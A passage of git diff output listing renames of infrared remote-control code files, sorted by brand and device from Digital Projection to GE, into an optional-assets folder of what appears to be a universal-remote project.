optional-assets}/_CSV-IRDB_/Digital Projection/Video Projector/32,-1.ir (100%) rename assets/resources/infrared/{ => optional-assets}/_CSV-IRDB_/Digital Projection/Video Scaler/58,-1.ir (100%) rename assets/resources/infrared/{ => optional-assets}/_CSV-IRDB_/Digital Stream/HDTV Tuner/4,2.ir (100%) rename assets/resources/infrared/{ => optional-assets}/_CSV-IRDB_/Digital Stream/Unknown_Stream/18,52.ir (100%) rename assets/resources/infrared/{ => optional-assets}/_CSV-IRDB_/DigitalView/HDTV Tuner/128,-1.ir (100%) rename assets/resources/infrared/{ => optional-assets}/_CSV-IRDB_/DirecTV/Basic Satellite/12,-1.ir (100%) rename assets/resources/infrared/{ => optional-assets}/_CSV-IRDB_/DirecTV/Basic Satellite/7,-1.ir (100%) rename assets/resources/infrared/{ => optional-assets}/_CSV-IRDB_/DirecTV/DSS/12,-1.ir (100%) rename assets/resources/infrared/{ => optional-assets}/_CSV-IRDB_/DirecTV/DVR/133,48.ir (100%) rename assets/resources/infrared/{ => optional-assets}/_CSV-IRDB_/DirecTV/HDTV Tuner/12,-1.ir (100%) rename assets/resources/infrared/{ => optional-assets}/_CSV-IRDB_/DirecTV/Receiver HD/12,-1.ir (100%) rename assets/resources/infrared/{ => optional-assets}/_CSV-IRDB_/DirecTV/Receiver HD/12,251.ir (100%) rename assets/resources/infrared/{ => optional-assets}/_CSV-IRDB_/DirecTV/Receiver HD/13,-1.ir (100%) rename assets/resources/infrared/{ => optional-assets}/_CSV-IRDB_/DirecTV/Receiver HDDVR/12,-1.ir (100%) rename assets/resources/infrared/{ => optional-assets}/_CSV-IRDB_/DirecTV/Receiver HDDVR/13,-1.ir (100%) rename assets/resources/infrared/{ => optional-assets}/_CSV-IRDB_/DirecTV/Receiver HDDVR/2,-1.ir (100%) rename assets/resources/infrared/{ => optional-assets}/_CSV-IRDB_/DirecTV/Receiver HDDVR/3,-1.ir (100%) rename assets/resources/infrared/{ => optional-assets}/_CSV-IRDB_/DirecTV/Receiver HDDVR/64,-1.ir (100%) rename assets/resources/infrared/{ => optional-assets}/_CSV-IRDB_/DirecTV/Receiver HDDVR/71,-1.ir (100%) rename assets/resources/infrared/{ => optional-assets}/_CSV-IRDB_/DirecTV/Receiver SD/12,-1.ir (100%) rename assets/resources/infrared/{ => optional-assets}/_CSV-IRDB_/DirecTV/Receiver SD/13,-1.ir (100%) rename assets/resources/infrared/{ => optional-assets}/_CSV-IRDB_/DirecTV/Receiver SDDVR/12,-1.ir (100%) rename assets/resources/infrared/{ => optional-assets}/_CSV-IRDB_/DirecTV/Receiver SDDVR/133,48.ir (100%) rename assets/resources/infrared/{ => optional-assets}/_CSV-IRDB_/DirecTV/Satellite/12,-1.ir (100%) rename assets/resources/infrared/{ => optional-assets}/_CSV-IRDB_/DirecTV/Satellite/133,48.ir (100%) rename assets/resources/infrared/{ => optional-assets}/_CSV-IRDB_/DirecTV/Satellite/4,-1.ir (100%) rename assets/resources/infrared/{ => optional-assets}/_CSV-IRDB_/DirecTV/Unknown/12,-1.ir (100%) rename assets/resources/infrared/{ => optional-assets}/_CSV-IRDB_/DirecTV/Unknown/12,251.ir (100%) rename assets/resources/infrared/{ => optional-assets}/_CSV-IRDB_/DirecTV/Unknown_G051204/12,-1.ir (100%) rename assets/resources/infrared/{ => optional-assets}/_CSV-IRDB_/DirecTV/Unknown_H23/12,-1.ir (100%) rename assets/resources/infrared/{ => optional-assets}/_CSV-IRDB_/DirecTV/Unknown_HD20-100/12,-1.ir (100%) rename assets/resources/infrared/{ => optional-assets}/_CSV-IRDB_/DirecTV/Unknown_RC16/12,-1.ir (100%) rename assets/resources/infrared/{ => optional-assets}/_CSV-IRDB_/DirecTV/Unknown_RC32/12,-1.ir (100%) rename assets/resources/infrared/{ => optional-assets}/_CSV-IRDB_/DirecTV/Unknown_RC64/12,-1.ir (100%) rename assets/resources/infrared/{ => optional-assets}/_CSV-IRDB_/Dish Network/Satelite DVR/0,0.ir (100%) rename assets/resources/infrared/{ => optional-assets}/_CSV-IRDB_/Dish Network/Satelite DVR/1,0.ir (100%) rename assets/resources/infrared/{ => optional-assets}/_CSV-IRDB_/Dish Network/Satelite DVR/15,-1.ir (100%) rename assets/resources/infrared/{ => optional-assets}/_CSV-IRDB_/Dish Network/Satellite/0,0.ir (100%) rename assets/resources/infrared/{ => optional-assets}/_CSV-IRDB_/Dish Network/Satellite/0,1.ir (100%) rename assets/resources/infrared/{ => optional-assets}/_CSV-IRDB_/Dish Network/Satellite/0,12.ir (100%) rename assets/resources/infrared/{ => optional-assets}/_CSV-IRDB_/Dish Network/Satellite/0,2.ir (100%) rename assets/resources/infrared/{ => optional-assets}/_CSV-IRDB_/Dish Network/Satellite/0,3.ir (100%) rename assets/resources/infrared/{ => optional-assets}/_CSV-IRDB_/Dish Network/Satellite/0,31.ir (100%) rename assets/resources/infrared/{ => optional-assets}/_CSV-IRDB_/Dish Network/Satellite/0,4.ir (100%) rename assets/resources/infrared/{ => optional-assets}/_CSV-IRDB_/Dish Network/Satellite/0,5.ir (100%) rename assets/resources/infrared/{ => optional-assets}/_CSV-IRDB_/Dish Network/Satellite/0,6.ir (100%) rename assets/resources/infrared/{ => optional-assets}/_CSV-IRDB_/Dish Network/Satellite/0,7.ir (100%) rename assets/resources/infrared/{ => optional-assets}/_CSV-IRDB_/Dish Network/Satellite/1,0.ir (100%) rename assets/resources/infrared/{ => optional-assets}/_CSV-IRDB_/Dish Network/Satellite/1,1.ir (100%) rename assets/resources/infrared/{ => optional-assets}/_CSV-IRDB_/Dish Network/Satellite/1,12.ir (100%) rename assets/resources/infrared/{ => optional-assets}/_CSV-IRDB_/Dish Network/Satellite/1,2.ir (100%) rename assets/resources/infrared/{ => optional-assets}/_CSV-IRDB_/Dish Network/Satellite/1,3.ir (100%) rename assets/resources/infrared/{ => optional-assets}/_CSV-IRDB_/Dish Network/Satellite/1,4.ir (100%) rename assets/resources/infrared/{ => optional-assets}/_CSV-IRDB_/Dish Network/Satellite/1,5.ir (100%) rename assets/resources/infrared/{ => optional-assets}/_CSV-IRDB_/Dish Network/Satellite/1,6.ir (100%) rename assets/resources/infrared/{ => optional-assets}/_CSV-IRDB_/Dish Network/Satellite/1,7.ir (100%) rename assets/resources/infrared/{ => optional-assets}/_CSV-IRDB_/Dish Network/Satellite/15,-1.ir (100%) rename assets/resources/infrared/{ => optional-assets}/_CSV-IRDB_/Dish Network/Satellite/16,0.ir (100%) rename assets/resources/infrared/{ => optional-assets}/_CSV-IRDB_/Dish Network/Satellite/24,0.ir (100%) rename assets/resources/infrared/{ => optional-assets}/_CSV-IRDB_/Dish Network/Satellite/28,-1.ir (100%) rename assets/resources/infrared/{ => optional-assets}/_CSV-IRDB_/Dish Network/Satellite/4,0.ir (100%) rename assets/resources/infrared/{ => optional-assets}/_CSV-IRDB_/Dish Network/Satellite/4,5.ir (100%) rename assets/resources/infrared/{ => optional-assets}/_CSV-IRDB_/Dish Network/Satellite/48,-1.ir (100%) rename assets/resources/infrared/{ => optional-assets}/_CSV-IRDB_/Dish Network/Satellite/8,0.ir (100%) rename assets/resources/infrared/{ => optional-assets}/_CSV-IRDB_/Domland/Unknown_domland-MH10CA/131,101.ir (100%) rename assets/resources/infrared/{ => optional-assets}/_CSV-IRDB_/Draper/Dropdown Screen/0,-1.ir (100%) rename assets/resources/infrared/{ => optional-assets}/_CSV-IRDB_/Draper/Electric Screen/0,-1.ir (100%) rename assets/resources/infrared/{ => optional-assets}/_CSV-IRDB_/Draper/Screen/0,-1.ir (100%) rename assets/resources/infrared/{ => optional-assets}/_CSV-IRDB_/Draper/Screen/2,-1.ir (100%) rename assets/resources/infrared/{ => optional-assets}/_CSV-IRDB_/Dream Multimedia/Unknown_URC7562/0,-1.ir (100%) rename assets/resources/infrared/{ => optional-assets}/_CSV-IRDB_/Dream Vision/DLP Projector/135,78.ir (100%) rename assets/resources/infrared/{ => optional-assets}/_CSV-IRDB_/Dream/Satellite/0,-1.ir (100%) rename assets/resources/infrared/{ => optional-assets}/_CSV-IRDB_/Dream/Satellite/10,0.ir (100%) rename assets/resources/infrared/{ => optional-assets}/_CSV-IRDB_/Dream/Satellite/11,0.ir (100%) rename assets/resources/infrared/{ => optional-assets}/_CSV-IRDB_/Dream/Satellite/25,0.ir (100%) rename assets/resources/infrared/{ => optional-assets}/_CSV-IRDB_/Dream/Satellite/26,0.ir (100%) rename assets/resources/infrared/{ => optional-assets}/_CSV-IRDB_/Dream/Satellite/41,0.ir (100%) rename assets/resources/infrared/{ => optional-assets}/_CSV-IRDB_/Durabrand/Unknown_PTV141/128,99.ir (100%) rename assets/resources/infrared/{ => optional-assets}/_CSV-IRDB_/Dwin/Line Multiplier/1,-1.ir (100%) rename assets/resources/infrared/{ => optional-assets}/_CSV-IRDB_/Dwin/Plasma/15,-1.ir (100%) rename assets/resources/infrared/{ => optional-assets}/_CSV-IRDB_/Dwin/Projector/15,-1.ir (100%) rename assets/resources/infrared/{ => optional-assets}/_CSV-IRDB_/Dwin/TV/15,-1.ir (100%) rename assets/resources/infrared/{ => optional-assets}/_CSV-IRDB_/Dwin/Video Processor/1,-1.ir (100%) rename assets/resources/infrared/{ => optional-assets}/_CSV-IRDB_/Dwin/Video Processor/7,0.ir (100%) rename assets/resources/infrared/{ => optional-assets}/_CSV-IRDB_/Dwin/Video Projector/15,-1.ir (100%) rename assets/resources/infrared/{ => optional-assets}/_CSV-IRDB_/Dwin/Video Projector/7,0.ir (100%) rename assets/resources/infrared/{ => optional-assets}/_CSV-IRDB_/Dynaudio/Unknown_Sub/1,-1.ir (100%) rename assets/resources/infrared/{ => optional-assets}/_CSV-IRDB_/Dynex/Unknown_DX-CVS4/2,-1.ir (100%) rename assets/resources/infrared/{ => optional-assets}/_CSV-IRDB_/E Max/DVD Player/0,223.ir (100%) rename assets/resources/infrared/{ => optional-assets}/_CSV-IRDB_/E-tech/Unknown_FLY98/96,1.ir (100%) rename assets/resources/infrared/{ => optional-assets}/_CSV-IRDB_/ELTASAT/Unknown_SAT170/66,253.ir (100%) rename assets/resources/infrared/{ => optional-assets}/_CSV-IRDB_/ENTONE/Unknown_URC-4021ABA1-006-R/230,4.ir (100%) rename assets/resources/infrared/{ => optional-assets}/_CSV-IRDB_/Eagle Aspen/Unknown_Aspen/120,-1.ir (100%) rename assets/resources/infrared/{ => optional-assets}/_CSV-IRDB_/Echostar/DSS/0,0.ir (100%) rename assets/resources/infrared/{ => optional-assets}/_CSV-IRDB_/Echostar/DVR/0,0.ir (100%) rename assets/resources/infrared/{ => optional-assets}/_CSV-IRDB_/Echostar/DVR/1,0.ir (100%) rename assets/resources/infrared/{ => optional-assets}/_CSV-IRDB_/Echostar/Dish Network/0,0.ir (100%) rename assets/resources/infrared/{ => optional-assets}/_CSV-IRDB_/Echostar/PVR SAT/0,0.ir (100%) rename assets/resources/infrared/{ => optional-assets}/_CSV-IRDB_/Echostar/PVR SAT/1,0.ir (100%) rename assets/resources/infrared/{ => optional-assets}/_CSV-IRDB_/Echostar/Satelite DVR/0,0.ir (100%) rename assets/resources/infrared/{ => optional-assets}/_CSV-IRDB_/Echostar/Satelite DVR/0,4.ir (100%) rename assets/resources/infrared/{ => optional-assets}/_CSV-IRDB_/Echostar/Satelite DVR/1,0.ir (100%) rename assets/resources/infrared/{ => optional-assets}/_CSV-IRDB_/Echostar/Satelite DVR/1,4.ir (100%) rename assets/resources/infrared/{ => optional-assets}/_CSV-IRDB_/Echostar/Satelite DVR/2,-1.ir (100%) rename assets/resources/infrared/{ => optional-assets}/_CSV-IRDB_/Echostar/Satellite/0,0.ir (100%) rename assets/resources/infrared/{ => optional-assets}/_CSV-IRDB_/Echostar/Satellite/1,0.ir (100%) rename assets/resources/infrared/{ => optional-assets}/_CSV-IRDB_/Echostar/Satellite/16,0.ir (100%) rename assets/resources/infrared/{ => optional-assets}/_CSV-IRDB_/Echostar/Satellite/4,-1.ir (100%) rename assets/resources/infrared/{ => optional-assets}/_CSV-IRDB_/Echostar/Unknown_AD3000IP/4,0.ir (100%) rename assets/resources/infrared/{ => optional-assets}/_CSV-IRDB_/Echostar/Unknown_DSB-616/5,-1.ir (100%) rename assets/resources/infrared/{ => optional-assets}/_CSV-IRDB_/Echostar/Unknown_DSB-636/4,0.ir (100%) rename assets/resources/infrared/{ => optional-assets}/_CSV-IRDB_/Elan/Camera Switcher/0,-1.ir (100%) rename assets/resources/infrared/{ => optional-assets}/_CSV-IRDB_/Elan/DMX/100,-1.ir (100%) rename assets/resources/infrared/{ => optional-assets}/_CSV-IRDB_/Elan/DMX/14,-1.ir (100%) rename assets/resources/infrared/{ => optional-assets}/_CSV-IRDB_/Elan/DMX/96,-1.ir (100%) rename assets/resources/infrared/{ => optional-assets}/_CSV-IRDB_/Elan/DMX/99,-1.ir (100%) rename assets/resources/infrared/{ => optional-assets}/_CSV-IRDB_/Elan/DVD Manager/15,-1.ir (100%) rename assets/resources/infrared/{ => optional-assets}/_CSV-IRDB_/Elan/HD/0,-1.ir (100%) rename assets/resources/infrared/{ => optional-assets}/_CSV-IRDB_/Elan/HD/1,-1.ir (100%) rename assets/resources/infrared/{ => optional-assets}/_CSV-IRDB_/Elan/HD/2,-1.ir (100%) rename assets/resources/infrared/{ => optional-assets}/_CSV-IRDB_/Elan/HD/4,-1.ir (100%) rename assets/resources/infrared/{ => optional-assets}/_CSV-IRDB_/Elan/HD/5,-1.ir (100%) rename assets/resources/infrared/{ => optional-assets}/_CSV-IRDB_/Elan/IR Router/1,-1.ir (100%) rename assets/resources/infrared/{ => optional-assets}/_CSV-IRDB_/Elan/IR Router/2,-1.ir (100%) rename assets/resources/infrared/{ => optional-assets}/_CSV-IRDB_/Elan/Jukebox/96,-1.ir (100%) rename assets/resources/infrared/{ => optional-assets}/_CSV-IRDB_/Elan/Master Controller/0,-1.ir (100%) rename assets/resources/infrared/{ => optional-assets}/_CSV-IRDB_/Elan/Master Controller/1,-1.ir (100%) rename assets/resources/infrared/{ => optional-assets}/_CSV-IRDB_/Elan/Master Controller/5,-1.ir (100%) rename assets/resources/infrared/{ => optional-assets}/_CSV-IRDB_/Elan/Pre-Amplifier/0,-1.ir (100%) rename assets/resources/infrared/{ => optional-assets}/_CSV-IRDB_/Elan/Satellite Radio/26,-1.ir (100%) rename assets/resources/infrared/{ => optional-assets}/_CSV-IRDB_/Elan/Tuner/129,115.ir (100%) rename assets/resources/infrared/{ => optional-assets}/_CSV-IRDB_/Elan/Video Controller/0,-1.ir (100%) rename assets/resources/infrared/{ => optional-assets}/_CSV-IRDB_/Elan/Video Switcher/0,-1.ir (100%) rename assets/resources/infrared/{ => optional-assets}/_CSV-IRDB_/Elan/Video Switcher/1,-1.ir (100%) rename assets/resources/infrared/{ => optional-assets}/_CSV-IRDB_/Elan/Volume Control/0,-1.ir (100%) rename assets/resources/infrared/{ => optional-assets}/_CSV-IRDB_/Elan/Volume Control/1,241.ir (100%) rename assets/resources/infrared/{ => optional-assets}/_CSV-IRDB_/Elan/Volume Control/255,15.ir (100%) rename assets/resources/infrared/{ => optional-assets}/_CSV-IRDB_/Electrocompaniet/CD Player/20,-1.ir (100%) rename assets/resources/infrared/{ => optional-assets}/_CSV-IRDB_/Electrocompaniet/Integrated Amplifier/16,-1.ir (100%) rename assets/resources/infrared/{ => optional-assets}/_CSV-IRDB_/Electrokinetics/Plasma Lift/0,-1.ir (100%) rename assets/resources/infrared/{ => optional-assets}/_CSV-IRDB_/Elenberg/Unknown_RC-404E/0,251.ir (100%) rename assets/resources/infrared/{ => optional-assets}/_CSV-IRDB_/Elitron/Unknown_utk/7,-1.ir (100%) rename assets/resources/infrared/{ => optional-assets}/_CSV-IRDB_/Elmo/CAMERA_PRC-100S/32,-1.ir (100%) rename assets/resources/infrared/{ => optional-assets}/_CSV-IRDB_/Elmo/Camera/128,-1.ir (100%) rename assets/resources/infrared/{ => optional-assets}/_CSV-IRDB_/Elmo/Video Projector/132,132.ir (100%) rename assets/resources/infrared/{ => optional-assets}/_CSV-IRDB_/Elmo/Video Projector/134,134.ir (100%) rename assets/resources/infrared/{ => optional-assets}/_CSV-IRDB_/Emerson/TV/0,-1.ir (100%) rename assets/resources/infrared/{ => optional-assets}/_CSV-IRDB_/Emerson/TV/135,34.ir (100%) rename assets/resources/infrared/{ => optional-assets}/_CSV-IRDB_/Emerson/Unknown_Emerson-NB050-DVD/135,34.ir (100%) rename assets/resources/infrared/{ => optional-assets}/_CSV-IRDB_/Emerson/Unknown_emerson-cd/3,1.ir (100%) rename assets/resources/infrared/{ => optional-assets}/_CSV-IRDB_/Emerson/Unknown_emerson/134,5.ir (100%) rename assets/resources/infrared/{ => optional-assets}/_CSV-IRDB_/Emerson/Unknown_emersontv/22,22.ir (100%) rename assets/resources/infrared/{ => optional-assets}/_CSV-IRDB_/Emerson/VCR/21,-1.ir (100%) rename assets/resources/infrared/{ => optional-assets}/_CSV-IRDB_/Emerson/VCR/4,-1.ir (100%) rename assets/resources/infrared/{ => optional-assets}/_CSV-IRDB_/Emerson/VCR/40,-1.ir (100%) rename assets/resources/infrared/{ => optional-assets}/_CSV-IRDB_/Epson/Projector/131,85.ir (100%) rename assets/resources/infrared/{ => optional-assets}/_CSV-IRDB_/Epson/Unknown_12807990/131,85.ir (100%) rename assets/resources/infrared/{ => optional-assets}/_CSV-IRDB_/Epson/Unknown_ELPST12/131,85.ir (100%) rename assets/resources/infrared/{ => optional-assets}/_CSV-IRDB_/Epson/Video Projector/131,85.ir (100%) rename assets/resources/infrared/{ => optional-assets}/_CSV-IRDB_/Escient/CD Jukebox/0,0.ir (100%) rename assets/resources/infrared/{ => optional-assets}/_CSV-IRDB_/Escient/CD Jukebox/14,0.ir (100%) rename assets/resources/infrared/{ => optional-assets}/_CSV-IRDB_/Escient/CD Jukebox/15,0.ir (100%) rename assets/resources/infrared/{ => optional-assets}/_CSV-IRDB_/Escient/CD Jukebox/48,-1.ir (100%) rename assets/resources/infrared/{ => optional-assets}/_CSV-IRDB_/Escient/CD Jukebox/91,-1.ir (100%) rename assets/resources/infrared/{ => optional-assets}/_CSV-IRDB_/Escient/CD Management/0,0.ir (100%) rename assets/resources/infrared/{ => optional-assets}/_CSV-IRDB_/Escient/CD Management/14,0.ir (100%) rename assets/resources/infrared/{ => optional-assets}/_CSV-IRDB_/Escient/CD Management/91,-1.ir (100%) rename assets/resources/infrared/{ => optional-assets}/_CSV-IRDB_/Escient/DVD Library/1,22.ir (100%) rename assets/resources/infrared/{ => optional-assets}/_CSV-IRDB_/Escient/DVD Library/8,-1.ir (100%) rename assets/resources/infrared/{ => optional-assets}/_CSV-IRDB_/Escient/DVD Player/1,22.ir (100%) rename assets/resources/infrared/{ => optional-assets}/_CSV-IRDB_/Escient/DVD Player/2,22.ir (100%) rename assets/resources/infrared/{ => optional-assets}/_CSV-IRDB_/Escient/DVD Player/3,22.ir (100%) rename assets/resources/infrared/{ => optional-assets}/_CSV-IRDB_/Escient/DVD Player/4,22.ir (100%) rename assets/resources/infrared/{ => optional-assets}/_CSV-IRDB_/Escient/DVD Player/8,-1.ir (100%) rename assets/resources/infrared/{ => optional-assets}/_CSV-IRDB_/Escient/Digital Jukebox/15,0.ir (100%) rename assets/resources/infrared/{ => optional-assets}/_CSV-IRDB_/Escient/Digital Media Receiver/1,22.ir (100%) rename assets/resources/infrared/{ => optional-assets}/_CSV-IRDB_/Escient/Digital Media Receiver/15,-1.ir (100%) rename assets/resources/infrared/{ => optional-assets}/_CSV-IRDB_/Escient/Hard Drive Recorder/15,0.ir (100%) rename assets/resources/infrared/{ => optional-assets}/_CSV-IRDB_/Escient/MP3 Player/0,-1.ir (100%) rename assets/resources/infrared/{ => optional-assets}/_CSV-IRDB_/Escient/MP3 Player/1,22.ir (100%) rename assets/resources/infrared/{ => optional-assets}/_CSV-IRDB_/Escient/MP3 Player/14,-1.ir (100%) rename assets/resources/infrared/{ => optional-assets}/_CSV-IRDB_/Escient/MP3 Player/15,-1.ir (100%) rename assets/resources/infrared/{ => optional-assets}/_CSV-IRDB_/Escient/MP3 Player/4,22.ir (100%) rename assets/resources/infrared/{ => optional-assets}/_CSV-IRDB_/Escient/Media Manager/1,22.ir (100%) rename assets/resources/infrared/{ => optional-assets}/_CSV-IRDB_/Escient/Media Manager/15,-1.ir (100%) rename assets/resources/infrared/{ => optional-assets}/_CSV-IRDB_/Escient/Media Manager/15,0.ir (100%) rename assets/resources/infrared/{ => optional-assets}/_CSV-IRDB_/Escient/Media Manager/2,22.ir (100%) rename assets/resources/infrared/{ => optional-assets}/_CSV-IRDB_/Escient/Media Manager/3,22.ir (100%) rename assets/resources/infrared/{ => optional-assets}/_CSV-IRDB_/Escient/Media Manager/33,184.ir (100%) rename assets/resources/infrared/{ => optional-assets}/_CSV-IRDB_/Escient/Media Manager/4,22.ir (100%) rename assets/resources/infrared/{ => optional-assets}/_CSV-IRDB_/Escient/Media Manager/48,-1.ir (100%) rename assets/resources/infrared/{ => optional-assets}/_CSV-IRDB_/Escient/Media Server/1,22.ir (100%) rename assets/resources/infrared/{ => optional-assets}/_CSV-IRDB_/Escient/Media Server/4,22.ir (100%) rename assets/resources/infrared/{ => optional-assets}/_CSV-IRDB_/Esoteric Audio/DVD Player/133,32.ir (100%) rename assets/resources/infrared/{ => optional-assets}/_CSV-IRDB_/Euroconsumers/Unknown_LG-5988/136,-1.ir (100%) rename assets/resources/infrared/{ => optional-assets}/_CSV-IRDB_/Expressvu/Unknown_3100/0,0.ir (100%) rename assets/resources/infrared/{ => optional-assets}/_CSV-IRDB_/Extron/Switcher/0,-1.ir (100%) rename assets/resources/infrared/{ => optional-assets}/_CSV-IRDB_/Extron/Switcher/128,84.ir (100%) rename assets/resources/infrared/{ => optional-assets}/_CSV-IRDB_/FSC/DVD Player/4,15.ir (100%) rename assets/resources/infrared/{ => optional-assets}/_CSV-IRDB_/FTE Maximal/Unknown_FTE/73,-1.ir (100%) rename assets/resources/infrared/{ => optional-assets}/_CSV-IRDB_/FUBA/Unknown_ALPS/134,75.ir (100%) rename assets/resources/infrared/{ => optional-assets}/_CSV-IRDB_/FUBA/Unknown_FUBA/134,75.ir (100%) rename assets/resources/infrared/{ => optional-assets}/_CSV-IRDB_/FUNAI/Unknown_NF021RD/132,224.ir (100%) rename assets/resources/infrared/{ => optional-assets}/_CSV-IRDB_/Fagor/Unknown_TEDI100/192,-1.ir (100%) rename assets/resources/infrared/{ => optional-assets}/_CSV-IRDB_/Falcon/Unknown_VT-1000/16,47.ir (100%) rename assets/resources/infrared/{ => optional-assets}/_CSV-IRDB_/Faroudja/DVD Player/163,-1.ir (100%) rename assets/resources/infrared/{ => optional-assets}/_CSV-IRDB_/Faroudja/DVD Player/175,-1.ir (100%) rename assets/resources/infrared/{ => optional-assets}/_CSV-IRDB_/Faroudja/Line Doubler/1,-1.ir (100%) rename assets/resources/infrared/{ => optional-assets}/_CSV-IRDB_/Faroudja/Line Quadrupler/1,-1.ir (100%) rename assets/resources/infrared/{ => optional-assets}/_CSV-IRDB_/Faroudja/Processor/1,-1.ir (100%) rename assets/resources/infrared/{ => optional-assets}/_CSV-IRDB_/Faroudja/Video Processor/1,-1.ir (100%) rename assets/resources/infrared/{ => optional-assets}/_CSV-IRDB_/Faroudja/Video Processor/27,-1.ir (100%) rename assets/resources/infrared/{ => optional-assets}/_CSV-IRDB_/Faroudja/Video Projector/0,-1.ir (100%) rename assets/resources/infrared/{ => optional-assets}/_CSV-IRDB_/Faroudja/Video Projector/1,-1.ir (100%) rename assets/resources/infrared/{ => optional-assets}/_CSV-IRDB_/Faroudja/Video Projector/13,-1.ir (100%) rename assets/resources/infrared/{ => optional-assets}/_CSV-IRDB_/Faroudja/Video Projector/135,78.ir (100%) rename assets/resources/infrared/{ => optional-assets}/_CSV-IRDB_/Faroudja/Video Projector/24,-1.ir (100%) rename assets/resources/infrared/{ => optional-assets}/_CSV-IRDB_/Faroudja/Video Projector/24,24.ir (100%) rename assets/resources/infrared/{ => optional-assets}/_CSV-IRDB_/Faroudja/Video Projector/30,-1.ir (100%) rename assets/resources/infrared/{ => optional-assets}/_CSV-IRDB_/Fast/TV/28,-1.ir (100%) rename assets/resources/infrared/{ => optional-assets}/_CSV-IRDB_/Fast/TVS/28,-1.ir (100%) rename assets/resources/infrared/{ => optional-assets}/_CSV-IRDB_/Fedders/Air Conditioner/32,-1.ir (100%) rename assets/resources/infrared/{ => optional-assets}/_CSV-IRDB_/Fisher/Surround Processor/48,48.ir (100%) rename assets/resources/infrared/{ => optional-assets}/_CSV-IRDB_/Fisher/Surround Processor/54,200.ir (100%) rename assets/resources/infrared/{ => optional-assets}/_CSV-IRDB_/Fisher/TV/0,-1.ir (100%) rename assets/resources/infrared/{ => optional-assets}/_CSV-IRDB_/Fisher/TV/56,-1.ir (100%) rename assets/resources/infrared/{ => optional-assets}/_CSV-IRDB_/Fisher/Unknown_RC720F/104,-1.ir (100%) rename assets/resources/infrared/{ => optional-assets}/_CSV-IRDB_/Fisher/Unknown_RCA-9060/54,-1.ir (100%) rename assets/resources/infrared/{ => optional-assets}/_CSV-IRDB_/Fisher/Unknown_REM-1500/162,162.ir (100%) rename assets/resources/infrared/{ => optional-assets}/_CSV-IRDB_/Fisher/Unknown_ra/60,-1.ir (100%) rename assets/resources/infrared/{ => optional-assets}/_CSV-IRDB_/Fortec/Unknown_Lifetime/32,-1.ir (100%) rename assets/resources/infrared/{ => optional-assets}/_CSV-IRDB_/Fortec/Unknown_Mercury2/1,253.ir (100%) rename assets/resources/infrared/{ => optional-assets}/_CSV-IRDB_/Fosgate/Pre-Amplifier/131,69.ir (100%) rename assets/resources/infrared/{ => optional-assets}/_CSV-IRDB_/Fosgate/Pre-Amplifier/131,95.ir (100%) rename assets/resources/infrared/{ => optional-assets}/_CSV-IRDB_/Fosgate/Pre-Amplifier/64,64.ir (100%) rename assets/resources/infrared/{ => optional-assets}/_CSV-IRDB_/Fosgate/Surround Processor/132,66.ir (100%) rename assets/resources/infrared/{ => optional-assets}/_CSV-IRDB_/Foxtel/Set Top Box/33,160.ir (100%) rename assets/resources/infrared/{ => optional-assets}/_CSV-IRDB_/Foxtel/Unknown_Digital/0,0.ir (100%) rename assets/resources/infrared/{ => optional-assets}/_CSV-IRDB_/Foxtel/Unknown_foxtel/33,160.ir (100%) rename assets/resources/infrared/{ => optional-assets}/_CSV-IRDB_/Free/Unknown_REMOTE/11,-1.ir (100%) rename assets/resources/infrared/{ => optional-assets}/_CSV-IRDB_/Free/Unknown_V5/36,12.ir (100%) rename assets/resources/infrared/{ => optional-assets}/_CSV-IRDB_/Freecom/Unknown_MP35/128,-1.ir (100%) rename assets/resources/infrared/{ => optional-assets}/_CSV-IRDB_/Freecom/Unknown_usb/128,-1.ir (100%) rename assets/resources/infrared/{ => optional-assets}/_CSV-IRDB_/Fresat/Unknown_SER-3000PL/8,64.ir (100%) rename assets/resources/infrared/{ => optional-assets}/_CSV-IRDB_/Friedrich/Air Conditioner/1,-1.ir (100%) rename assets/resources/infrared/{ => optional-assets}/_CSV-IRDB_/Friedrich/Air Conditioner/16,-1.ir (100%) rename assets/resources/infrared/{ => optional-assets}/_CSV-IRDB_/Fujitsu Siemens/Unknown_RC1-1241-21/32,176.ir (100%) rename assets/resources/infrared/{ => optional-assets}/_CSV-IRDB_/Fujitsu Siemens/Unknown_RC811/4,15.ir (100%) rename assets/resources/infrared/{ => optional-assets}/_CSV-IRDB_/Fujitsu/Monitor/132,-1.ir (100%) rename assets/resources/infrared/{ => optional-assets}/_CSV-IRDB_/Fujitsu/Monitor/132,138.ir (100%) rename assets/resources/infrared/{ => optional-assets}/_CSV-IRDB_/Fujitsu/Monitor/132,139.ir (100%) rename assets/resources/infrared/{ => optional-assets}/_CSV-IRDB_/Fujitsu/Monitor/132,140.ir (100%) rename assets/resources/infrared/{ => optional-assets}/_CSV-IRDB_/Fujitsu/Plasma/132,-1.ir (100%) rename assets/resources/infrared/{ => optional-assets}/_CSV-IRDB_/Fujitsu/Plasma/132,129.ir (100%) rename assets/resources/infrared/{ => optional-assets}/_CSV-IRDB_/Fujitsu/Plasma/132,130.ir (100%) rename assets/resources/infrared/{ => optional-assets}/_CSV-IRDB_/Fujitsu/Plasma/132,134.ir (100%) rename assets/resources/infrared/{ => optional-assets}/_CSV-IRDB_/Fujitsu/Plasma/132,136.ir (100%) rename assets/resources/infrared/{ => optional-assets}/_CSV-IRDB_/Fujitsu/Plasma/132,138.ir (100%) rename assets/resources/infrared/{ => optional-assets}/_CSV-IRDB_/Fujitsu/Plasma/132,139.ir (100%) rename assets/resources/infrared/{ => optional-assets}/_CSV-IRDB_/Fujitsu/Plasma/132,140.ir (100%) rename assets/resources/infrared/{ => optional-assets}/_CSV-IRDB_/Fujitsu/Plasma/132,141.ir (100%) rename assets/resources/infrared/{ => optional-assets}/_CSV-IRDB_/Fujitsu/Plasma/140,132.ir (100%) rename assets/resources/infrared/{ => optional-assets}/_CSV-IRDB_/Fujitsu/TV/132,-1.ir (100%) rename assets/resources/infrared/{ => optional-assets}/_CSV-IRDB_/Fujitsu/Unknown_CP300375-01/4,15.ir (100%) rename assets/resources/infrared/{ => optional-assets}/_CSV-IRDB_/Fujtech/Unknown_DVB-T/3,-1.ir (100%) rename assets/resources/infrared/{ => optional-assets}/_CSV-IRDB_/Fusion Research/DVD Server/17,-1.ir (100%) rename assets/resources/infrared/{ => optional-assets}/_CSV-IRDB_/GAMEFACTORY/Unknown_PS2DVD/0,246.ir (100%) rename assets/resources/infrared/{ => optional-assets}/_CSV-IRDB_/GE/TV/15,-1.ir (100%) rename assets/resources/infrared/{ => optional-assets}/_CSV-IRDB_/GE/VCR/11,-1.ir (100%) rename 